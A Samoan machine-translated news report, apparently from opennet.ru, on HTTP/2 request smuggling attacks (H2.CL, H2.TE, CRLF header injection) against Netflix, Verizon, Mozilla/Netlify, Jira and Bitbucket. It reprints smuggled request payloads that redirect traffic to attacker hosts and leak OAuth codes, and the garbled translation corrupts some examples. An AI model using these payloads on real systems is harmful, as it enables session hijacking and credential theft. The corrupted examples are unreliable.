O se osofaʻiga fou i faiga pito i luma-i tua e mafai ai ona e faʻapipiʻi i talosaga

O faiga i luga o le upega tafaʻilagi lea e talia ai e le pito i luma fesoʻotaʻiga e ala i le HTTP / 2 ma tuʻuina atu i le pito i tua e ala i le HTTP / 1.1 ua faʻaalia i se suiga fou o le osofaʻiga "HTTP Request Smuggling", lea e mafai ai, e ala i le tuʻuina atu o talosaga a tagata o tausia faʻapitoa, e fa'apipi'i i mea o lo'o i totonu ole talosaga mai isi tagata fa'aoga fa'agaioiina i le tafe tutusa i le va o luma ma tua. O le osofaʻiga e mafai ona faʻaogaina e faʻapipiʻi ai le code JavaScript leaga i totonu o se sauniga faʻatasi ai ma se upega tafaʻilagi faʻamaonia, faʻamalo le faʻaogaina o faiga faʻatapulaʻaina ma faʻalavelave faʻamaoniga faʻamaonia.

O le faʻafitauli e aʻafia ai fesoʻotaʻiga i luga o le upega tafaʻilagi, uta paleni, faʻavavevave luga o le upega tafaʻilagi, faiga e tuʻuina atu ai mea ma isi faʻasalalauga e toe faʻafeiloaʻi ai talosaga i se auala pito i luma i tua. O le tusitala o le suʻesuʻega na faʻaalia ai le avanoa e osofaʻia ai faiga a Netflix, Verizon, Bitbucket, Netlify CDN ma Atlassian, ma maua ai le 56 afe tala i polokalame taui mo le faʻamaonia o faʻafitauli. Ua faʻamaonia foi le faʻafitauli i oloa F5 Networks. O le faʻafitauli e aʻafia ai le mod_proxy i le Apache http server (CVE-2021-33193), o loʻo faʻamoemoeina se faʻaleleia i le version 2.4.49 (na logoina e le au atinaʻe le faʻafitauli i le amataga o Me ma na tuʻuina atu i le 3 masina e faʻaleleia ai). I le nginx, o le mafai ona faʻamaonia i le taimi e tasi le ulutala "Content-Length" ma le "Transfer-Encoding" na poloka i le faʻasalalauga mulimuli (1.21.1). O mea faigaluega osofaʻi ua uma ona aofia i le Burp toolkit ma o loʻo avanoa i le tulaga o le Turbo Intruder extension.

O le mataupu faavae o le faʻaogaina o le auala fou o le faʻaipoipoina o talosaga i fefaʻatauaiga e tutusa ma le faʻafitauli na iloa e le tagata suʻesuʻe lava e tasi i le lua tausaga talu ai, ae faʻatapulaʻa i pito i luma e talia talosaga i luga ole HTTP/1.1. Sei o tatou manatua i le polokalame pito i luma-i tua, o talosaga a tagata o tausia e maua mai i se node faaopoopo - o le pito i luma, lea e faʻatuina ai se fesoʻotaʻiga TCP umi ma le pito i tua, lea e faʻagasolo saʻo ai talosaga. E ala i lenei fesoʻotaʻiga masani, o talosaga mai tagata faʻaoga eseese e masani ona tuʻuina atu, lea e mulimulitaʻi i le filifili le tasi i le isi, vavae ese e ala i le HTTP protocol.

O le osofaʻiga masani a le "HTTP Request Smuggling" na faʻavae i luga o le mea moni e faapea o pito i luma ma tua e faʻamatalaina le faʻaogaina o ulutala HTTP "Content-Length" (faʻatulagaina le aofaʻi atoa o faʻamatalaga i le talosaga) ma le "Transfer-Encoding: chunked" (faʻatagaina fa'amatalaga e fa'aliliuina i vaega) ese'ese. . Mo se faʻataʻitaʻiga, afai o le pito i luma e naʻo le lagolagoina o le "Content-Length" ae le amanaʻiaina le "Transfer-Encoding: chunked", ona mafai lea e se tagata osofaia ona auina atu se talosaga e aofia uma ai le "Content-Length" ma le "Transfer-Encoding: chunked" ulutala, ae o le tele o le "Content-Length" e le fetaui ma le lapo'a o le filifili ua tipi. I lenei tulaga, o le pito i luma o le a faʻagasolo ma toe faʻafeiloaʻi le talosaga e tusa ai ma le "Content-Length", ma o le pito i tua o le a faʻatali mo le maeʻa o le poloka e faʻavae i luga o le "Transfer-Encoding: chunked" ma le siʻusiʻu o totoe o le talosaga a le tagata osofaia o le a. ia i le amataga o le talosaga a se isi e auina atu i le isi.

E le pei o le text protocol HTTP / 1.1, lea o loʻo faʻapipiʻiina i le laina laina, HTTP / 2 o se faʻasalalauga binary ma faʻaogaina poloka faʻamaumauga o se tele na faʻamaonia muamua. Ae ui i lea, HTTP / 2 faʻaaogaina pseudo-headers e fetaui ma ulutala HTTP masani. I le tulaga o le fegalegaleai ma le pito i tua e ala i le HTTP/1.1 protocol, o le pito i luma e faaliliuina nei pseudo-headers i ni ulutala HTTP tutusa HTTP/1.1. O le faʻafitauli o le faia lea e le pito i tua filifiliga e uiga i le faʻavasegaina o le vaitafe e faʻavae i luga o ulutala HTTP faʻatulagaina e le pito i luma, e aunoa ma le i ai o faʻamatalaga e uiga i faʻasologa o le uluai talosaga.

Aemaise lava, o tulaga taua o le "content-length" ma le "transfer-encoding" e mafai ona tuʻuina atu i foliga o pseudo-headers, e ui lava i le mea moni e le faʻaaogaina i le HTTP / 2, talu ai o le tele o faʻamatalaga uma ua fuafuaina. i se fanua ese. Ae ui i lea, i le faagasologa o le faʻaliliuina o se talosaga HTTP / 2 i HTTP / 1.1, o nei ulutala e ave i luga ma e mafai ona fenumiai le pito i tua. E lua ituaiga osofaʻiga autu: H2.TE ma H2.CL, lea o loʻo faʻasesēina le pito i tua e se faʻafeiloaʻiga le saʻo poʻo le umi o le anotusi e le fetaui ma le tele moni o le tino talosaga na maua e le pito i luma e ala i le HTTP/2 protocol.

O se osofaʻiga fou i faiga pito i luma-i tua e mafai ai ona e faʻapipiʻi i talosaga

O se faʻataʻitaʻiga o le osofaʻiga a le H2.CL o le faʻamaonia lea o se lapoʻa le saʻo i totonu o le pseudo-header umi-umi pe a tuʻuina atu se talosaga HTTP / 2 i Netflix. O lenei talosaga e taʻitaʻia ai le faʻaopoopoina o se ulutala HTTP tutusa Content-Length pe a oʻo i le pito i tua e ala ile HTTP / 1.1, ae talu ai o le tele i le Content-Length ua faʻamaonia e itiiti ifo nai lo le mea moni, o se vaega o faʻamatalaga i le siʻusiʻu o loʻo faʻatinoina e pei o le amataga o le isi talosaga.

Mo se faʻataʻitaʻiga, talosaga HTTP/2 :metotia POST :ala /n :pule www.netflix.com anotusi-umi 4 abcdGET /n HTTP/1.1 Talimalo: 02.rs?x.netflix.com Foo: pa

O le a i'u i se talosaga e lafo i le pito i tua: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Talu ai ona o le Content-Length o loʻo i ai le tau o le 4, o le pito i tua o le a talia naʻo le "abcd" e fai ma tino o le talosaga, ma le isi vaega o le "GET / n HTTP / 1.1 ..." o le a faʻagasolo e avea ma amataga o se talosaga mulimuli ane. feso'ota'i ma se isi tagata fa'aoga. E tusa ai, o le vaitafe o le a le faʻaogaina ma i le tali atu i le isi talosaga, o le iʻuga o le faʻaogaina o le talosaga dummy o le a tuʻuina atu. I le tulaga o Netflix, o loʻo faʻamaoti mai se tagata talimalo lona tolu i le ulutala "Host:" i se talosaga faʻataʻitaʻi na mafua ai ona toe faʻafoʻi e le kalani le tali " Nofoaga: https://02.rs?x.netflix.com/n" ma fa'atagaina mea e fa'atonuina e lafo i le kalani, e aofia ai Fa'agasolo lau code JavaScript i totonu o le si'osi'omaga o le saite Netflix.

O le filifiliga lona lua o osofaiga (H2.TE) e aofia ai le suia o le ulutala "Transfer-Encoding: chunked". O le faʻaogaina o le pseudo-header transfer-encoding i le HTTP / 2 e faʻasaina e le faʻamatalaga ma talosaga faʻatasi ma ia faʻatonuina ina ia togafitia e le saʻo. E ui lava i lea, o nisi o faʻatinoga pito i luma e le faʻaogaina lenei manaʻoga ma faʻatagaina le faʻaogaina o se pseudo-header fesiitaiga i HTTP / 2, lea e liua i se ulutala HTTP tutusa. Afai ei ai se ulutala "Transfer-Encoding", e mafai e le pito i tua ona ave o se faʻamuamua maualuga ma faʻavasega le faʻamatalaga fasi pepa i le "chunked" mode e faʻaaoga ai poloka o lapopoa eseese i le faatulagaga "{size}\r\n{block. }\r\n{size} \r\n{block}\r\n0", e ui lava i le vaevaega muamua i le tele atoa.

O le i ai o sea va na faʻaalia e le faʻataʻitaʻiga a Verizon. O le faʻafitauli e faʻatatau i le faʻamaoniga faʻamaonia ma le faʻaogaina o mataupu, lea e faʻaaogaina foi i luga o nofoaga e pei o Huffington Post ma Engadget. Mo se fa'ata'ita'iga, ole talosaga a le kalani e ala ile HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Na iu i le auina atu o se talosaga HTTP/1.1 i le pito i tua: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres. net Content- Umi: 10x=

O le pito i tua, i le isi itu, na le amanaiaina le ulutala "Content-Length" ma faia le vaeluaga i totonu o le vaitafe e faavae i luga o le "Transfer-Encoding: chunked". I le faʻatinoga, o le osofaʻiga na mafai ai ona toe faʻafeiloaʻi talosaga a le au faʻaoga i la latou upega tafaʻilagi, e aofia ai le faʻalavelaveina o talosaga e fesoʻotaʻi ma le faʻamaoniga o le OAuth, o faʻamaufaʻailoga na faʻaalia i le ulutala Referer, faʻapea foʻi ma le faʻataʻitaʻiina o se faʻamaoniga faʻamaonia ma faʻaosoina le faiga a le tagata faʻaoga e lafo faʻamaonia. i le 'au a le tagata osofa'i. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Faatagaga: Avea eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Ina ia osofaʻia HTTP / 2 faʻatinoga e le faʻatagaina le faʻafeiloaʻi-encoding pseudo-header e faʻamaonia, o se isi auala ua tuʻuina atu e aofia ai le suitulaga o le "Transfer-Encoding" ulutala e ala i le faʻapipiʻiina i isi pseudo-header e vavaeeseina e se uiga fou ( pe a liua i le HTTP / 1.1 i lenei tulaga e fatuina ai ulutala HTTP eseese e lua).

Mo se faʻataʻitaʻiga, Atlassian Jira ma Netlify CDN (faʻaaogaina e tautua ai le itulau amata Mozilla i Firefox) na aʻafia i lenei faʻafitauli. Aemaise lava, ole talosaga HTTP/2 :metotia POST :ala / :pule start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Anotusi-Uumi: 5\r\n \r\nx=

na mafua ai ona auina atu le talosaga HTTP/1.1 POST / HTTP/1.1 i le pito i tua\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r \nx=

O le isi filifiliga mo le suitulaga i le ulutala "Transfer-Encoding" o le faʻapipiʻi lea i le igoa o se isi pseudo-header poʻo se laina ma se auala talosaga. Mo se faʻataʻitaʻiga, pe a oʻo i le Atlassian Jira, o le igoa pseudo-header "foo: bar \ r \ ntransfer-encoding" faʻatasi ai ma le tau "chunked" na mafua ai ona faʻaopoopo le ulutala HTTP "foo: bar" ma le "transfer-encoding: chunked" , ma fa'amaoti pseudo-header ": method" tau "GET / HTTP/1.1\r\nTransfer-encoding: chunked" na faaliliuina i le "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

O le tagata suʻesuʻe na faʻaalia le faʻafitauli na tuʻuina atu foi se talosaga tunneling technique e osofaʻia ai pito i luma, lea e faʻavaeina ai e tuatusi IP taʻitasi se fesoʻotaʻiga eseʻese i tua ma felauaiga mai tagata faʻaoga eseese e le faʻafefiloi. O le metotia faʻatulagaina e le faʻatagaina ai le faʻalavelaveina o talosaga mai isi tagata faʻaoga, ae mafai ai ona faʻafefeina se faʻaoga faʻasoa e aʻafia ai le gaioiga o isi talosaga, ma faʻatagaina le suia o ulutala HTTP i totonu e faʻaaogaina e faʻafeiloaʻi ai faʻamatalaga auaunaga mai le pito i luma i le pito i tua ( mo se faʻataʻitaʻiga, pe a faʻamaonia i luga o le pito i luma i totonu O ia ulutala e mafai ona faʻasalalau faʻamatalaga e uiga i le tagata o loʻo i ai nei i le pito i tua). O se faʻataʻitaʻiga o le faʻaaogaina o le metotia i le faʻatinoga, faʻaaogaina o mea oona o le cache, na mafai ai ona maua le puleaina o itulau i le auaunaga Bitbucket.

puna: opennet.ru

Faaopoopo i ai se faamatalaga